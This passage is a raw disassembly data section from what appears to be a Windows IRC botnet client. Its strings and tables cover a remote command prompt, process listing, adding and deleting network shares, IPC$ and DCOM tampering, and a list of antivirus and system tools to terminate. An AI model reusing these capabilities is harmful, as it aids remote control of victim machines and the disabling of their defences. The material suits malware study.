3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aUserInfoErrorL db '- user info error <%ld>',0 align 4 aUnitsPerWeekD db 'Units Per Week: %d',0 ; DATA XREF: sub_418EF6+385o align 4 aMax_StorageD db 'Max. Storage: %d',0 ; DATA XREF: sub_418EF6+35Ao align 4 aUserSLanguageD db 'User',27h,'s Language: %d',0 ; DATA XREF: sub_418EF6+32Fo aCountryCodeD db 'Country Code: %d',0 ; DATA XREF: sub_418EF6+304o align 4 aWorkstationsS db 'Workstations: %S',0 ; DATA XREF: sub_418EF6+2D9o align 4 aLogonServerS db 'Logon Server: %S',0 ; DATA XREF: sub_418EF6+2AEo align 4 aLastLogoffD db 'Last Logoff: %d',0 ; DATA XREF: sub_418EF6+283o aLastLogonD db 'Last Logon: %d',0 ; DATA XREF: sub_418EF6+258o align 4 aNumberOfLogins db 'Number of Logins: %d',0 ; DATA XREF: sub_418EF6+22Do align 4 aBadPasswordCou db 'Bad Password Count: %d',0 ; DATA XREF: sub_418EF6+202o align 4 aPasswordAgeD db 'Password Age: %d',0 ; DATA XREF: sub_418EF6+1D7o align 10h aParametersS db 'Parameters: %S',0 ; DATA XREF: sub_418EF6+1ACo align 10h aHomeDirectoryS db 'Home Directory: %S',0 ; DATA XREF: sub_418EF6+181o align 4 aAuthFlagsD db 'Auth Flags: %d',0 ; DATA XREF: sub_418EF6+156o align 4 aPrivilegeLevel db 'Privilege Level: %s',0 ; DATA XREF: sub_418EF6+12Bo aGuest db 'Guest',0 ; DATA XREF: sub_418EF6:loc_419015o align 10h aUser_1 db 'User',0 ; DATA XREF: sub_418EF6:loc_41900Eo align 4 aAdministrator db 'Administrator',0 ; DATA XREF: sub_418EF6:loc_419007o align 4 aCommentS db 'Comment: %S',0 ; DATA XREF: sub_418EF6+DAo aUserCommentS db 'User Comment: %S',0 ; DATA XREF: sub_418EF6+AFo align 4 aFullNameS db 'Full Name: %S',0 ; DATA XREF: sub_418EF6+84o align 4 aAccountS db 'Account: %S',0 ; DATA XREF: sub_418EF6+50o aTotalUsersFoun db 'Total users found: %d.',0 ; DATA XREF: sub_4192DF+14Fo align 4 unk_43932C db 2Dh ; - ; DATA XREF: sub_4192DF+F7o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aAnAccessViolat db '- an access violation has occured',0 align 4 aS_4 db ' %S',0 ; DATA XREF: sub_4192DF+BEo align 10h unk_439360 db 2Dh ; - ; DATA XREF: sub_4192DF+7Ao db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aUserListErrorS db '- user list error %s <%ld>',0 aUsernameAccoun db 'Username accounts for local system:',0 ; DATA XREF: sub_4192DF+29o aNetworkConnect db 'Network connection not found.',0 ; DATA XREF: sub_41945F:loc_41957Co align 4 aTheUserNameCou db 'The user name could not be found.',0 ; DATA XREF: sub_41945F:loc_419575o align 4 aShareNotFound_ db 'Share not found.',0 ; DATA XREF: sub_41945F:loc_41956Eo align 10h aTheComputerNam db 'The computer name is invalid.',0 ; DATA XREF: sub_41945F:loc_419567o align 10h aAnUnknownErr_0 db 'An unknown error occurred.',0 ; DATA XREF: sub_41945F:loc_419560o align 4 aThePasswordIsS db 'The password is shorter than required (or does not meet the passw' ; DATA XREF: sub_41945F:loc_419543o db 'ord policy requirement.)',0 align 4 aTheGroupAlread db 'The group already exists.',0 ; DATA XREF: sub_41945F:loc_41953Co align 4 aTheUserAccount db 'The user account already exists.',0 ; DATA XREF: sub_41945F:loc_419535o align 4 aTheOperationIs db 'The operation is allowed only on the primary domain controller of' ; DATA XREF: sub_41945F+CFo db ' the domain.',0 align 4 aAGeneralFailur db 'A general failure occurred in the network hardware.',0 ; DATA XREF: sub_41945F:loc_41950Ao aLevelParameter db 'Level parameter is invalid.',0 ; DATA XREF: sub_41945F:loc_419503o aDeviceOrDirect db 'Device or directory does not exist.',0 ; DATA XREF: sub_41945F:loc_4194FCo aInvalidForRedi db 'Invalid for redirected resource.',0 ; DATA XREF: sub_41945F:loc_4194F2o align 10h aDuplicateShare db 'Duplicate share name.',0 ; DATA XREF: sub_41945F+89o align 4 aTheNameIsInval db 'The name is invalid.',0 ; DATA XREF: sub_41945F:loc_4194CCo align 10h aAccessDenied_ db 'Access denied.',0 ; DATA XREF: sub_41945F:loc_4194C2o align 10h aNotEnoughMemor db 'Not enough memory.',0 ; DATA XREF: sub_41945F:loc_4194B8o align 4 aThisNetworkReq db 'This network request is not supported.',0 ; DATA XREF: sub_41945F:loc_4194AEo align 4 aServerNameNotF db 'Server name not found.',0 ; DATA XREF: sub_41945F:loc_4194A4o align 4 aInvalidParamet db 'Invalid parameter.',0 ; DATA XREF: sub_41945F+3Bo align 4 dword_439668 dd 234032Dh, 274656Eh, 25202D03h, 34032073h, 76726553h ; DATA XREF: sub_419593+ABo dd 3A037265h, 20532520h, 654D3403h, 67617373h, 203A0365h dd 5325h unk_439694 db 2Dh ; - ; DATA XREF: sub_419593+81o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aMessageSentSuc db '- message sent successfully',0 align 4 dd 7530h off_4396C0 dd offset aRegedit_exe ; DATA XREF: sub_4196BC+CBo ; "regedit.exe" dd offset aMsconfig_exe ; "msconfig.exe" dd offset aNetstat_exe ; "netstat.exe" dd offset aMsblast_exe ; "msblast.exe" dd offset aZapro_exe ; "zapro.exe" dd offset aNavw32_exe ; "navw32.exe" dd offset aNavapw32_exe ; "navapw32.exe" dd offset aZonealarm_exe ; "zonealarm.exe" dd offset aWincfg32_exeta ; "wincfg32.exetaskmon.exe" dd offset aPandaavengine_ ; "PandaAVEngine.exe" dd offset dword_4397C8 dd offset dword_4397BC dd offset dword_4397B0 dd offset dword_4397A4 dd offset dword_439798 dd offset dword_43978C dd offset dword_43977C dd offset dword_439770 dd offset dword_439764 dd offset dword_439758 dd offset dword_43974C dd offset dword_43973C dd offset dword_439730 dd offset dword_439720 dword_439720 dd 72313169h, 346E3435h, 6578652Eh, 0 ; DATA XREF: sub_4196BC+ECo ; ___:0043971Co dword_439730 dd 6E757269h, 78652E34h, 65h ; DATA XREF: ___:00439718o dword_43973C dd 75643364h, 74616470h, 78652E65h, 65h ; DATA XREF: ___:00439714o dword_43974C dd 65746172h, 6578652Eh, 0 ; DATA XREF: ___:00439710o dword_439758 dd 74617373h, 78652E65h, 65h ; DATA XREF: ___:0043970Co dword_439764 dd 736E6977h, 652E7379h, 6578h ; DATA XREF: ___:00439708o dword_439770 dd 756E6977h, 652E6470h, 6578h ; DATA XREF: ___:00439704o dword_43977C dd 4D737953h, 50586E6Fh, 6578652Eh, 0 ; DATA XREF: ___:00439700o dword_43978C dd 61656262h, 2E656C67h, 657865h ; DATA XREF: ___:004396FCo dword_439798 dd 696E6550h, 2E323373h, 657865h ; DATA XREF: ___:004396F8o dword_4397A4 dd 6B656574h, 2E736469h, 657865h ; DATA XREF: ___:004396F4o dword_4397B0 dd 4C42534Dh, 2E545341h, 657865h ; DATA XREF: ___:004396F0o dword_4397BC dd 7663736Dh, 2E323362h, 657865h ; DATA XREF: ___:004396ECo dword_4397C8 dd 69737973h, 2E6F666Eh, 657865h ; DATA XREF: ___:004396E8o aPandaavengine_ db 'PandaAVEngine.exe',0 ; DATA XREF: ___:004396E4o align 4 aWincfg32_exeta db 'wincfg32.exetaskmon.exe',0 ; DATA XREF: ___:004396E0o aZonealarm_exe db 'zonealarm.exe',0 ; DATA XREF: ___:004396DCo align 10h aNavapw32_exe db 'navapw32.exe',0 ; DATA XREF: ___:004396D8o align 10h aNavw32_exe db 'navw32.exe',0 ; DATA XREF: ___:004396D4o align 4 aZapro_exe db 'zapro.exe',0 ; DATA XREF: ___:004396D0o align 4 aMsblast_exe db 'msblast.exe',0 ; DATA XREF: ___:004396CCo aNetstat_exe db 'netstat.exe',0 ; DATA XREF: ___:004396C8o aMsconfig_exe db 'msconfig.exe',0 ; DATA XREF: ___:004396C4o align 10h aRegedit_exe db 'regedit.exe',0 ; DATA XREF: ___:off_4396C0o aSD_0 db ' %s (%d)',0 ; DATA XREF: sub_4196BC+191o align 4 unk_439878 db 2Dh ; - ; DATA XREF: sub_4198EB:loc_419972o db 3, 34h, 2 db 70h ; p db 72h, 6Fh, 63h db 73h ; s db 2, 3, 2Dh aProcessListFai db ' process list failed',0 align 4 unk_43989C db 2Dh ; - ; DATA XREF: sub_4198EB+80o db 3, 34h, 2 db 70h ; p db 72h, 6Fh, 63h db 73h ; s db 2, 3, 2Dh aProcessListCom db ' process list complete',0 align 10h unk_4398C0 db 2Dh ; - ; DATA XREF: sub_4198EB+19o db 3, 34h, 2 db 70h ; p db 72h, 6Fh, 63h db 73h ; s db 2, 3, 2Dh aListingProcess db ' listing processes:',0 aPrivmsgSS db 'PRIVMSG %s :%s',0Dh,0 ; DATA XREF: sub_419A88+33o unk_4398F0 db 2Dh ; - ; DATA XREF: sub_419B0F:loc_419C41o db 3, 34h, 2 db 63h ; c db 6Dh, 64h, 2 db 3 aCouldNotReadDa db '- Could not read data from proccess.',0Dh,0Ah,0 unk_439920 db 2Dh ; - ; DATA XREF: sub_419B0F+10Fo db 3, 34h, 2 db 63h ; c db 6Dh, 64h, 2 db 3 aProccessHasTer db '- Proccess has terminated.',0Dh,0Ah,0 align 4 unk_439948 db 2Dh ; - ; DATA XREF: sub_419B0F:loc_419BF5o db 3, 34h, 2 db 63h ; c db 6Dh, 64h, 2 db 3 aCouldNotRead_0 db '- Could not read data from proccess',0Dh,0Ah,0 align 4 unk_439978 db 2Dh ; - ; DATA XREF: sub_419C64+194o db 3, 34h, 2 db 63h ; c db 6Dh, 64h, 2 db 3 aFailedToStartI db '- Failed to start IO thread, error: <%d>.',0 align 4 unk_4399AC db 2Dh ; - ; DATA XREF: sub_419C64+14Co db 3, 34h, 2 db 63h ; c db 6Dh, 64h, 2 db 3 aRemoteCommandP db '- Remote Command Prompt',0 align 10h off_4399D0 dd offset dword_439A08 ; DATA XREF: sub_419E79+1B3o ; sub_41A19D+17Ao dd 0 dd offset dword_439A00 align 10h off_4399E0 dd offset dword_4399FC ; DATA XREF: sub_41A19D+1E3o dd offset dword_4399F8 dd offset dword_4399F4 dd offset dword_4399F0 dword_4399F0 dd 5C3A44h ; DATA XREF: sub_419E79+217o ; ___:004399ECo dword_4399F4 dd 2444h ; DATA XREF: ___:004399E8o dword_4399F8 dd 5C3A43h ; DATA XREF: ___:004399E4o dword_4399FC dd 2443h ; DATA XREF: ___:off_4399E0o dword_439A00 dd 494D4441h, 244Eh ; DATA XREF: ___:004399D8o dword_439A08 dd 24435049h, 0 ; DATA XREF: ___:off_4399D0o dword_439A10 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_419E79+2E5o ; sub_41A19D+2DBo aNetapi32_dllCo db '- Netapi32.dll couldn',27h,'t be loaded.',0 align 10h dword_439A40 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_419E79+2CFo aNetworkSharesD db '- Network shares deleted.',0 align 4 dword_439A68 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_419E79:loc_41A0DBo aFailedToDelete db '- Failed to delete ',27h,'%S',27h,' share.',0 align 4 dword_439A94 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_419E79+25Bo aShareSDeleted_ db '- Share ',27h,'%S',27h,' deleted.',0 align 4 dword_439AB8 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_419E79:loc_41A048o aFailedToDele_0 db '- Failed to delete ',27h,'%s',27h,' share.',0 align 4 dword_439AE4 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_419E79+1C8o aShareSDelete_0 db '- Share ',27h,'%s',27h,' deleted.',0 align 4 dword_439B08 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_419E79:loc_419FABo ; sub_41A19D:loc_41A2CBo aAdvapi32_dllCo db '- Advapi32.dll couldn',27h,'t be loaded.',0 align 4 dword_439B38 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_419E79:loc_419FA4o aFailedToOpenIp db '- Failed to open IPC$ Restriction registry key.',0 dword_439B74 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_419E79:loc_419F86o aRestrictedAcce db '- Restricted access to the IPC$ Share.',0 align 4 dword_439BA8 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_419E79+106o aFailedToRestri db '- Failed to restrict access to the IPC$ Share.',0 align 4 aRestrictanonym db 'restrictanonymous',0 ; DATA XREF: sub_419E79+EDo ; sub_41A19D+EDo align 4 dword_439BF8 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_419E79+91o ; sub_41A19D+91o aFailedToOpenDc db '- Failed to open DCOM registry key.',0 dword_439C28 dd 234032Dh, 75636573h, 3026572h, 4344202Dh, 64204D4Fh ; DATA XREF: sub_419E79:loc_419EE6o dd 62617369h, 2E64656Ch, 0 dword_439C48 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_419E79+66o aDisableDcomFai db '- Disable DCOM failed.',0 align 4 aEnabledcom db 'EnableDCOM',0 ; DATA XREF: sub_419E79+54o ; sub_41A19D+54o align 4 dword_439C78 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_41A19D+2C3o aNetworkSharesA db '- Network shares added.',0 aC_0 db '%c:\',0 ; DATA XREF: sub_41A19D+230o align 4 aC_1 db '%c$',0 ; DATA XREF: sub_41A19D+219o dword_439CA8 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_41A19D:loc_41A33Co ; sub_41A19D:loc_41A40Do aFailedToAddSSh db '- Failed to add ',27h,'%s',27h,' share.',0 dword_439CD0 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_41A19D+198o ; sub_41A19D+269o aShareSAdded_ db '- Share ',27h,'%s',27h,' added.',0 dword_439CF0 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_41A19D:loc_41A2C4o aFailedToOpen_0 db '- Failed to open IPC$ restriction registry key.',0 dword_439D2C dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_41A19D:loc_41A2A6o aUnrestrictedAc db '- Unrestricted access to the IPC$ Share.',0 align 4 dword_439D64 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_41A19D+102o aFailedToUnrest db '- Failed to unrestrict access to the IPC$ Share.',0 align 4 dword_439DA4 dd 234032Dh, 75636573h, 3026572h, 4344202Dh, 65204D4Fh ; DATA XREF: sub_41A19D:loc_41A20Ao dd 6C62616Eh, 2E6465h dword_439DC0 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_41A19D+66o aEnableDcomFail db '- Enable DCOM failed.',0 align 4 aPostHttp1_0Hos db 'POST / HTTP/1.0',0Dh,0Ah ; DATA XREF: sub_41A4D1+E1o db 'Host: %s',0Dh,0Ah db 'Content-Length: %d',0Dh,0Ah db 0Dh,0Ah,0 align 4 dword_439E18 dd 234032Dh, 65657073h, 73657464h, 2D030274h, 75450220h ; DATA XREF: sub_41A6AE+1A7o dd 65706F72h, 25203A02h, 626B2064h, 732F7469h, 53550220h dd 203A0241h, 6B206425h, 2F746962h, 41022073h, 2616973h dd 6425203Ah, 69626B20h, 20732F74h, 65764102h, 65676172h dd 25203A02h, 626B2064h, 732F7469h, 0 aWww_google_co_ db 'www.google.co.jp',0 ; DATA XREF: sub_41A6AE+C4o align 4 aYahoo_co_jp db 'yahoo.co.jp',0 ; DATA XREF: sub_41A6AE+BDo aWww_nifty_com db 'www.nifty.com',0 ; DATA XREF: sub_41A6AE+B6o align 4 aWww_d1asia_com db 'www.d1asia.com',0 ; DATA XREF: sub_41A6AE+AFo align 4 aWww_st_lib_kei db 'www.st.lib.keio.ac.jp',0 ; DATA XREF: sub_41A6AE+A8o align 10h aWww_lib_nthu_e db 'www.lib.nthu.edu.tw',0 ; DATA XREF: sub_41A6AE+A1o aWww_google_com db 'www.google.com',0 ; DATA XREF: sub_41A6AE+9Ao align 4 aWww_easynews_c db 'www.easynews.com',0 ; DATA XREF: sub_41A6AE+93o align 4 aWww_above_net db 'www.above.net',0 ; DATA XREF: sub_41A6AE+8Co align 4 aWww_level3_com db 'www.level3.com',0 ; DATA XREF: sub_41A6AE+85o align 4 aNitro_ucsc_edu db 'nitro.ucsc.edu',0 ; DATA XREF: sub_41A6AE+7Eo align 4 aWww_burst_net db 'www.burst.net',0 ; DATA XREF: sub_41A6AE+77o align 4 aWww_cogentco_c db 'www.cogentco.com',0 ; DATA XREF: sub_41A6AE+70o align 4 aWww_rit_edu db 'www.rit.edu',0 ; DATA XREF: sub_41A6AE+69o aWww_nocster_co db 'www.nocster.com',0 ; DATA XREF: sub_41A6AE+62o aWww_verio_com db 'www.verio.com',0 ; DATA XREF: sub_41A6AE+5Bo align 4 aWww_stanford_e db 'www.stanford.edu',0 ; DATA XREF: sub_41A6AE+54o align 4 aWww_xo_net db 'www.xo.net',0 ; DATA XREF: sub_41A6AE+4Do align 4 aWww_google_it db 'www.google.it',0 ; DATA XREF: sub_41A6AE+46o align 4 aDe_yahoo_com db 'de.yahoo.com',0 ; DATA XREF: sub_41A6AE+3Fo align 4 aWww_belwue_de db 'www.belwue.de',0 ; DATA XREF: sub_41A6AE+38o align 4 aWww_switch_ch db 'www.switch.ch',0 ; DATA XREF: sub_41A6AE+31o align 4 aWww_1und1_de db 'www.1und1.de',0 ; DATA XREF: sub_41A6AE+2Ao align 4 aVerio_fr db 'verio.fr',0 ; DATA XREF: sub_41A6AE+23o align 4 aWww_utwente_nl db 'www.utwente.nl',0 ; DATA XREF: sub_41A6AE+1Co align 4 aWww_schlund_ne db 'www.schlund.net',0 ; DATA XREF: sub_41A6AE+15o aDdDhDm db '%dd %dh %dm',0 ; DATA XREF: sub_41A88B+52o dword_43A030 dd 234032Dh, 69737973h, 26F666Eh, 2202D03h, 2555043h, 4925203Ah ; DATA XREF: sub_41AA42+297o dd 4D753436h, 202E7A48h, 4D415202h, 25203A02h, 20424B73h dd 61746F74h, 25202C6Ch, 20424B73h, 65657266h, 4402202Eh dd 26B7369h, 7325203Ah, 746F7420h, 202C6C61h, 66207325h dd 2E656572h, 534F0220h, 57203A02h, 6F646E69h, 25207377h dd 25282073h, 64252E64h, 7542202Ch, 20646C69h, 2E296425h dd 79530220h, 72696473h, 25203A02h, 2202E73h, 74736F48h dd 656D616Eh, 25203A02h, 25282073h, 202E2973h, 72754302h dd 746E6572h, 65735520h, 203A0272h, 202E7325h, 74614402h dd 203A0265h, 202E7325h, 6D695402h, 203A0265h, 202E7325h dd 74705502h, 2656D69h, 7325203Ah, 2Eh dword_43A10C dd 4D3A6464h, 793A4D4Dh, 797979h ; DATA XREF: sub_41AA42+192o aCouldnTResolve db 'couldn',27h,'t resolve host',0 ; DATA XREF: sub_41AA42:loc_41ABA6o align 10h aSS_1 db '%s (%s)',0 ; DATA XREF: sub_41AA42+EBo a2003 db '2003',0 ; DATA XREF: sub_41AA42+BAo align 10h dword_43A140 dd 234032Dh, 6974656Eh, 26F666Eh, 2202D03h, 65707954h ; DATA XREF: sub_41ACF6+A4o dd 25203A02h, 25282073h, 202E2973h, 20504902h, 72646441h dd 2737365h, 7325203Ah, 4802202Eh, 6E74736Fh, 2656D61h dd 7325203Ah, 2Eh off_43A184 dd offset word_412F4E ; DATA XREF: sub_41ACF6:loc_41AD62o off_43A188 dd offset dword_4E414C ; DATA XREF: sub_41ACF6:loc_41AD58o dword_43A18C dd 6C616944h, 70752Dh ; DATA XREF: sub_41ACF6+5Bo dword_43A194 dd 20746F4Eh, 6E6E6F63h, 65746365h, 64h ; DATA XREF: sub_41ACF6+48o unk_43A1A4 db 2Dh ; - ; DATA XREF: sub_41ADB5:loc_41AF6Eo db 3, 34h, 2 db 76h ; v db 69h, 73h, 69h db 74h ; t db 2, 3, 2Dh aFailedToConnec db ' Failed to connect to HTTP server.',0 align 4 unk_43A1D4 db 2Dh ; - ; DATA XREF: sub_41ADB5:loc_41AF67o db 3, 34h, 2 db 76h ; v db 69h, 73h, 69h db 74h ; t db 2, 3, 2Dh aCouldNotOpenAC db ' Could not open a connection.',0 align 10h dword_43A200 dd 234032Dh, 69736976h, 2D030274h, 766E4920h, 64696C61h ; DATA XREF: sub_41ADB5+1A0o dd 4C525520h, 2Eh unk_43A21C db 2Dh ; - ; DATA XREF: sub_41ADB5:loc_41AF48o db 3, 34h, 2 db 76h ; v db 69h, 73h, 69h db 74h ; t db 2, 3, 2Dh aFailedToGetReq db ' Failed to get requested URL from HTTP server.',0 align 4 dword_43A258 dd 234032Dh, 69736976h, 2D030274h, 4C525520h, 73697620h ; DATA XREF: sub_41ADB5+18Co dd 64657469h, 2Eh dword_43A274 dd 2A2F2Ah, 2 dup(0) ; DATA XREF: sub_41ADB5+3Bo dword_43A280 dd 6188F61Eh ; DATA XREF: sub_41B8D8+4w sub_41B8E2r ... align 10h dword_43A290 dd 173Fh ; DATA XREF: sub_41C679+Dr dd 9875h, 9873h off_43A29C dd offset sub_41C748 ; DATA XREF: ___:0041B784r dd offset nullsub_2 dd offset nullsub_2 dword_43A2A8 dd 1B3Fh ; DATA XREF: sub_41C7BF+Dr dword_43A2AC dd 19930520h, 4 dup(0) ; DATA XREF: sub_41CC41+2o ; sub_41CC4A+2o off_43A2C0 dd offset sub_41B7C2 ; DATA XREF: sub_41DA29+1Cr dword_43A2C4 dd 2 ; DATA XREF: sub_423590+Er ; sub_4235C9+46r ... dd 10h, 0 off_43A2D0 dd offset off_43A2D0 ; DATA XREF: sub_41E976+Do ; sub_41E976+69o ... off_43A2D4 dd offset off_43A2D0 ; DATA XREF: sub_41E976:loc_41E9F6r ; sub_41E976+89w ... dd offset dword_43A2E8 dd offset dword_43A2E8 dword_43A2E0 dd 0FFFFFFFFh ; DATA XREF: sub_41E976r ; sub_41EABA:loc_41EB07w dd 0FFFFFFFFh dword_43A2E8 dd 0F0h, 0F1h, 800h dup(0) ; DATA XREF: ___:0043A2D8o ; ___:0043A2DCo off_43C2F0 dd offset off_43A2D0 ; DATA XREF: sub_41EABA+15r ; sub_41EABA+20w ... dword_43C2F4 dd 1E0h ; DATA XREF: sub_41B202+185r ; sub_41B513:loc_41B54Fr ... off_43C2F8 dd offset word_43C302 ; DATA XREF: sub_41B6EE+23r ; sub_41B6EE:loc_41B74Fr ... off_43C2FC dd offset word_43C302 ; DATA XREF: sub_426BC1+18r db 2 dup(0) word_43C302 dw 20h ; DATA XREF: sub_424D47+18r ; ___:off_43C2F8o ... unicode 0, < ((((( H> dd 7 dup(100010h), 840010h, 4 dup(840084h), 100084h, 3 dup(100010h) dd 3 dup(810081h), 0Ah dup(10001h), 3 dup(100010h), 3 dup(820082h) dd 0Ah dup(20002h), 2 dup(100010h), 20h, 40h dup(0) dword_43C504 dd 1 ; DATA XREF: sub_41B6EE:loc_41B6F6r ; sub_41B6EE:loc_41B73Ar ... byte_43C508 db 2Eh ; DATA XREF: sub_420510:loc_420804r ; sub_420510+311r ... align 4 dd 1 off_43C510 dd offset aNull_0 ; DATA XREF: sub_41F69F:loc_41FA03r ; sub_41F69F+457r ; "(null)" off_43C514 dd offset aNull ; DATA XREF: sub_41F69F+259r ; "(null)" byte_43C518 db 1 ; DATA XREF: sub_41FEA9+E1r db 2, 4, 8 align 10h dword_43C520 dd 3A4h ; DATA XREF: sub_41FEA9+2Fo dword_43C524 dd 82798260h, 21h, 0 ; DATA XREF: sub_41FEA9+11Dr dword_43C530 dd 0DFA6h ; DATA XREF: sub_41FEA9+C0r align 8 dd 0A5A1h, 0 dd 0FCE09F81h, 0 dd 0FC807E40h, 0 dd 3A8h, 0A3DAA3C1h, 20h, 5 dup(0) dd 0FE81h, 0 dd 0FE40h, 0 dd 3B5h, 0A3DAA3C1h, 20h, 5 dup(0) dd 0FE81h, 0 dd 0FE41h, 0 dd 3B6h, 0A2E4A2CFh, 0A2E5001Ah, 5BA2E8h, 4 dup(0) dd 0FE81h, 0 dd 0FEA17E40h, 0 dd 551h, 0DA5EDA51h, 0DA5F0020h, 32DA6Ah, 4 dup(0) dd 0DED8D381h, 0F9E0h, 0FE817E31h, 0 dword_43C610 dd 1 ; DATA XREF: sub_41FEA9+3Co ; sub_4203DF+Co dword_43C614 dd 16h ; DATA XREF: sub_4203DF:loc_420414r dd 2 dup(2), 3, 2, 4, 18h, 5, 0Dh, 6, 9, 7, 0Ch, 8, 0Ch dd 9, 0Ch, 0Ah, 7, 0Bh, 8, 0Ch, 16h, 0Dh, 16h, 0Fh, 2 dd 10h, 0Dh, 11h, 2 dup(12h), 2, 21h, 0Dh, 35h, 2, 41h dd 0Dh, 43h, 2, 50h, 11h, 52h, 0Dh, 53h, 0Dh, 57h, 16h dd 59h, 0Bh, 6Ch, 0Dh, 6Dh, 20h, 70h, 1Ch, 72h, 9, 6, 16h dd 80h, 0Ah, 81h, 0Ah, 82h, 9, 83h, 16h, 84h, 0Dh, 91h dd 29h, 9Eh, 0Dh, 0A1h, 2, 0A4h, 0Bh, 0A7h, 0Dh, 0B7h dd 11h, 0CEh, 2, 0D7h, 0Bh, 718h, 0Ch dword_43C778 dd 0D2D0920h, 5Dh ; DATA XREF: sub_4203DF+19o ; sub_420510:loc_420A77o dword_43C780 dd 5Dh, 0 ; DATA XREF: sub_420510:loc_420967o dword_43C788 dd 14h ; DATA XREF: sub_421624+2o off_43C78C dd offset aExp ; DATA XREF: sub_421624:loc_421641r ; "exp" dd 1Dh, 427878h, 1Ah, 42C268h, 1Bh, 427870h, 1Fh, 427868h dd 13h, 427860h, 21h, 427858h, 0Eh, 427850h, 0Dh, 427848h dd 0Fh, 427840h, 10h, 427838h, 5, 427830h, 1Eh, 42782Ch dd 12h, 427828h, 20h, 427824h, 0Ch, 42781Ch, 0Bh, 427814h dd 15h, 42780Ch, 1Ch, 427804h, 19h, 4277FCh, 11h, 4277F4h dd 18h, 4277ECh, 16h, 4277E4h, 17h, 4277DCh, 22h, 4277D8h dd 23h, 4277D4h, 24h, 4277D0h dbl_43C860 dq 1.797693134862316e308 ; DATA XREF: sub_42135F+B7r ; sub_42135F:loc_421446r ... dd 0 dd 0FFF80000h dbl_43C870 dq 1.797693134862316e308 ; DATA XREF: sub_42135F+92r ; sub_42135F:loc_42141Er ... dd 0 dd 100000h, 0 dd 80000000h tbyte_43C888 dt 2.3562723457267347066e313 ; DATA XREF: sub_42180C+Dr ; sub_42180C+1Fr align 4 tbyte_43C894 dt 1.9149954921904370718e-1233 ; DATA XREF: sub_42180C+31r align 10h off_43C8A0 dd offset sub_421CA0 ; DATA XREF: sub_41C760+Fw ; sub_41F69F+3AAr off_43C8A4 dd offset sub_421935 ; DATA XREF: sub_41C760+5w ; sub_41F69F+3E2r off_43C8A8 dd offset sub_42199B ; DATA XREF: sub_41C760+14w ; sub_420510+430r off_43C8AC dd offset sub_4218DB ; DATA XREF: sub_41C760+1Ew ; sub_41F69F+3CBr off_43C8B0 dd offset sub_421983 ; DATA XREF: sub_41C760+28w off_43C8B4 dd offset sub_421CA0 ; DATA XREF: sub_41C760+32w dd offset sub_42470C align 10h dd offset sub_42255C off_43C8C4 dd offset sub_42255C ; DATA XREF: sub_4225B2+29r dword_43C8C8 dd 0C0000005h ; DATA XREF: sub_422E2F+Ar ; sub_422E2F+11o ... dword_43C8CC dd 0Bh ; DATA XREF: sub_425A82+Ar dd 0 dd 0C000001Dh, 4, 0 dd 0C0000096h, 4, 0 db 8Dh, 0 dw 0C000h dd 8, 0 dd 0C000008Eh, 8, 0 dd 0C000008Fh, 8, 0 db 90h db 2 dup(0), 0C0h dd 8, 0 dd 0C0000091h, 8, 0 dd 0C0000092h, 8, 0 dd 0C0000093h, 8, 0 dword_43C940 dd 3 ; DATA XREF: ___:00422D46r ; sub_425955+C8r dword_43C944 dd 7 ; DATA XREF: ___:00422D4Cr ; sub_425955+CDr dword_43C948 dd 0Ah ; DATA XREF: sub_422E2F+4r ; sub_425A82+4r dword_43C94C dd 8Ch ; DATA XREF: ___:00422D70r ; ___:00422D7Dw ... dword_43C950 dd 0FFFFFFFFh, 0A00h ; DATA XREF: sub_41F043:loc_41F0C4o ; sub_41F58A:loc_41F647o dword_43C958 dd 2 ; DATA XREF: sub_4235C9+Eo ; sub_4235C9+28r off_43C95C dd offset aR6002FloatingP ; DATA XREF: sub_4235C9+FCr ; sub_4235C9+12Dr ; "R6002\r\n- floating point not loaded\r\n" dd 8, 427B94h, 9, 427B68h, 0Ah, 427B44h, 10h, 427B18h dd 11h, 427AE8h, 12h, 427AC4h, 13h, 427A98h, 18h, 427A60h dd 19h, 427A38h, 1Ah, 427A00h, 1Bh, 4279C8h, 1Ch, 4279A0h dd 78h, 427990h, 79h, 427980h, 7Ah, 427970h, 0FCh, 43381Ch dd 0FFh, 427960h off_43C9E8 dd offset dword_4DB5A0 ; DATA XREF: sub_4235C9+1Bo ; sub_423936+55o align 10h dd offset dword_4DB5A0 dd 101h dword_43C9F8 dd 0FFFFFFFFh, 0 ; DATA XREF: sub_423936+72o dd 1000h, 0 dword_43CA08 dd 3 dup(0) ; DATA XREF: sub_41F58A+50o ; sub_420446+12o dd 2, 0FFFFFFFFh, 3 dup(0) dword_43CA28 dd 3 dup(0) ; DATA XREF: sub_41F58A+58o ; sub_420446:loc_420464o dd 2, 0FFFFFFFFh, 7 dup(0) dword_43CA58 dd 84h dup(0) ; DATA XREF: sub_423936+9Bo dword_43CC68 dd 2 dup(0) ; DATA XREF: sub_423936+69o dword_43CC70 dd 2694h ; DATA XREF: sub_420FC1+3r ; sub_421014+46r align 8 dword_43CC78 dd 400h, 0FFFFFC01h, 35h, 0Bh, 40h, 3FFh ; DATA XREF: sub_4244ECo dword_43CC90 dd 80h, 0FFFFFF81h, 18h, 8, 20h, 7Fh ; DATA XREF: sub_424502o 